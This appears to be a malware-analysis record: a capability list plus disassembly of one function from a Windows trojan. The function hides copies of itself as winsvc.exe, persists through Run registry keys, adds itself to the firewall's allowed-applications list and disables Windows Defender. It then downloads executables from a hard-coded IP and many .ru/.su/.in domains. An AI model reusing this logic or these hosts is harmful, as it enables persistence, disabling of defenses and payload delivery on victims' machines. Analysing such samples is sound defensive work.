Function at 0x40243d
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create directory
Create http request
Create thread
Delete file
Disable windows defender features via registry on windows
Get http content length
Persist via run registry key
Persist via windows service
Query environment variable
Query or enumerate registry value
Reference http user-agent string
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
lea ebp, [esp - 0x68]
sub esp, 0xe24
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push edi
push 0x3e8
call ebx
call fcn.00401000
mov esi, str.Tldrrr
lea edi, [ebp + 0x40]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
push 5
pop ecx
mov esi, str.winsvc.exe
lea edi, [ebp - 0x54]
rep movsd dword es:[edi], dword [esi]
push 0xd
movsw word es:[edi], word [esi]
pop ecx
mov esi, str.Microsoft_Windows_Service
lea edi, [ebp - 0x88]
lea eax, [ebp + 0x40]
rep movsd dword es:[edi], dword [esi]
push eax
xor edi, edi
push edi
push edi
mov dword [ebp - 0x3c], str.http:__92.63.197.106_
mov dword [ebp - 0x38], str.http:__srgsougshfouaoehfaghae.ru_
mov dword [ebp - 0x34], str.http:__aefiabeuodbauobfaoebbf.ru_
mov dword [ebp - 0x30], str.http:__aoeubfoabeoufadaeufoue.ru_
mov dword [ebp - 0x2c], str.http:__awdauegdouegfageuofguo.ru_
mov dword [ebp - 0x28], str.http:__pfeakpfiahefupafoahefd.ru_
mov dword [ebp - 0x24], str.http:__aeiueigafiegfaiedeiuag.ru_
mov dword [ebp - 0x20], str.http:__afeoadaueodgeouaoueofu.ru_
mov dword [ebp - 0x1c], str.http:__arsohoduauahfhofuhfdus.ru_
mov dword [ebp - 0x18], str.http:__auiaaedabzabevbiiedizf.ru_
mov dword [ebp - 0x14], str.http:__aefouaeaooaobaubvaeubv.ru_
mov dword [ebp - 0x10], str.http:__srgsougshfouaoehfaghae.su_
mov dword [ebp - 0xc], str.http:__aefiabeuodbauobfaoebbf.su_
mov dword [ebp - 8], str.http:__aoeubfoabeoufadaeufoue.su_
mov dword [ebp - 4], str.http:__awdauegdouegfageuofguo.su_
mov dword [ebp], str.http:__pfeakpfiahefupafoahefd.su_
mov dword [ebp + 4], str.http:__aeiueigafiegfaiedeiuag.su_
mov dword [ebp + 8], str.http:__afeoadaueodgeouaoueofu.su_
mov dword [ebp + 0xc], str.http:__arsohoduauahfhofuhfdus.su_
mov dword [ebp + 0x10], str.http:__auiaaedabzabevbiiedizf.su_
mov dword [ebp + 0x14], str.http:__aefouaeaooaobaubvaeubv.su_
mov dword [ebp + 0x18], str.http:__srgsougshfouaoehfaghae.in_
mov dword [ebp + 0x1c], str.http:__aefiabeuodbauobfaoebbf.in_
mov dword [ebp + 0x20], str.http:__aoeubfoabeoufadaeufoue.in_
mov dword [ebp + 0x24], str.http:__awdauegdouegfageuofguo.in_
mov dword [ebp + 0x28], str.http:__pfeakpfiahefupafoahefd.in_
mov dword [ebp + 0x2c], str.http:__aeiueigafiegfaiedeiuag.in_
mov dword [ebp + 0x30], str.http:__afeoadaueodgeouaoueofu.in_
mov dword [ebp + 0x34], str.http:__arsohoduauahfhofuhfdus.in_
mov dword [ebp + 0x38], str.http:__auiaaedabzabevbiiedizf.in_
mov dword [ebp + 0x3c], str.http:__aefouaeaooaobaubvaeubv.in_
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x402583
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, 0x208
push esi
lea eax, [ebp - 0x7a4]
push edi
push eax
mov dword [ebp + 0x64], edi
mov dword [ebp + 0x54], 1
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0xbb4]
push edi
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x9ac]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x24
push esi
lea eax, [ebp - 0x7a4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x7a4]
push eax
push str._ls:Zone.Identifier
lea eax, [ebp - 0xbb4]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x10
lea eax, [ebp - 0xbb4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x1f4
call ebx
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov dword [ebp + 0x48], str._windir_
mov dword [ebp + 0x4c], str._userprofile_
mov dword [ebp + 0x50], str._temp_
mov dword [ebp + 0x60], edi
push esi
lea eax, [ebp - 0xdbc]
push edi
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x59c]
push edi
push eax
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x290]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0x24
push esi
lea eax, [ebp - 0xdbc]
push eax
mov eax, dword [ebp + 0x60]
push dword [ebp + eax*4 + 0x48]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0xdbc]
push eax
push str._lsT_564208652452452046852046560
lea eax, [ebp - 0x59c]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x59c]
push eax
push str._ls_ls
lea eax, [ebp - 0x290]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x24
lea eax, [ebp - 0x290]
push eax
call ebx
test eax, eax
jne 0x4026e5
lea eax, [ebp - 0x59c]
push eax
call ebx
test eax, eax
jne 0x4026bf
push edi
lea eax, [ebp - 0x59c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push edi
lea eax, [ebp - 0x290]
push eax
lea eax, [ebp - 0x7a4]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x4026e5
inc dword [ebp + 0x60]
cmp dword [ebp + 0x60], 3
jb 0x40261c
lea eax, [ebp - 0x88]
push eax
lea eax, [ebp - 0x290]
push eax
push str._ls::Enabled:_s
lea eax, [ebp - 0x9ac]
push esi
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x14
lea ecx, [ebp - 0x290]
lea eax, [ebp - 0x7a4]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40273a
cmp dx, di
je 0x402736
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40273a
add eax, 4
add ecx, 4
cmp dx, di
jne 0x402714
xor eax, eax
jmp 0x40273f
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
je 0x402836
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 7
lea eax, [ebp - 0x59c]
push eax
call esi
push 7
lea eax, [ebp - 0x290]
push eax
call esi
lea eax, [ebp + 0x64]
push eax
mov esi, 0xf003f
push esi
push edi
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x4027c3
lea eax, [ebp - 0x290]
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, di
jne 0x402791
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x290]
push eax
push 1
push edi
lea eax, [ebp - 0x88]
push eax
push dword [ebp + 0x64]
call ebx
push dword [ebp + 0x64]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp + 0x64]
push eax
push esi
push edi
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402818
lea eax, [ebp - 0x290]
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, di
jne 0x4027e6
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x290]
push eax
push 1
push edi
lea eax, [ebp - 0x88]
push eax
push dword [ebp + 0x64]
call ebx
push dword [ebp + 0x64]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x290]
push eax
call fcn.00401f1a
mov dword [esp], 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40257c
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp + 0x64]
push eax
mov esi, 0xf003f
push esi
push edi
push str.SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList_
push 0x80000002
call ebx
test eax, eax
jne 0x4028af
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x290]
push eax
push dword [ebp + 0x64]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, 2
jne 0x4028a6
lea eax, [ebp - 0x9ac]
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
cmp cx, di
jne 0x402879
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 2]
push eax
lea eax, [ebp - 0x9ac]
push eax
push 1
push edi
lea eax, [ebp - 0x290]
push eax
push dword [ebp + 0x64]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp + 0x64]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp + 0x64]
push eax
push esi
push edi
push str.SOFTWAREPoliciesMicrosoftWindows_Defender_
push 0x80000002
call ebx
test eax, eax
jne 0x4028f9
push edi
push edi
push edi
push edi
mov esi, str.DisableAntiSpyware
push esi
push dword [ebp + 0x64]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, 2
jne 0x4028f0
push 4
lea eax, [ebp + 0x54]
push eax
push 4
push edi
push esi
push dword [ebp + 0x64]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp + 0x64]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
push edi
push edi
push 0x401ac4
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
pop ecx
mov ebx, 0x104
mov dword [ebp + 0x60], edi
push ebx
lea eax, [ebp - 0x394]
push edi
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [ebp + 0x60]
mov esi, dword [ebp + eax*4 - 0x3c]
push esi
push str._sf.exe
lea eax, [ebp - 0x394]
push ebx
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x1c
call fcn.00401f8d
test al, al
je 0x402969
push esi
call fcn.004020c7
pop ecx
push edi
push edi
push edi
push 0x401dac
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
call esi
push edi
push edi
push edi
push 1
push str.Mozilla_5.0__Macintosh__Intel_Mac_OS_X_10.9__rv:25.0__Gecko_20100101_Firefox_25.0
mov dword [ebp + 0x58], 4
call dword [sym.imp.WININET.dll_InternetOpenA]
cmp eax, edi
je 0x4029d2
push edi
push edi
push edi
push edi
lea ecx, [ebp - 0x394]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, edi
je 0x4029d2
push edi
lea ecx, [ebp + 0x58]
push ecx
lea ecx, [ebp + 0x5c]
push ecx
push 0x20000005
push eax
call dword [sym.imp.WININET.dll_HttpQueryInfoA]
cmp dword [ebp + 0x5c], 0x3a98
jbe 0x4029d2
lea eax, [ebp - 0x394]
push eax
call fcn.0040110d
pop ecx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0xea60
idiv ecx
imul edx, edx, 0xf
add edx, 0x3e8
push edx
call esi
inc dword [ebp + 0x60]
cmp dword [ebp + 0x60], 0x1f
jb 0x40291e
jmp 0x40291b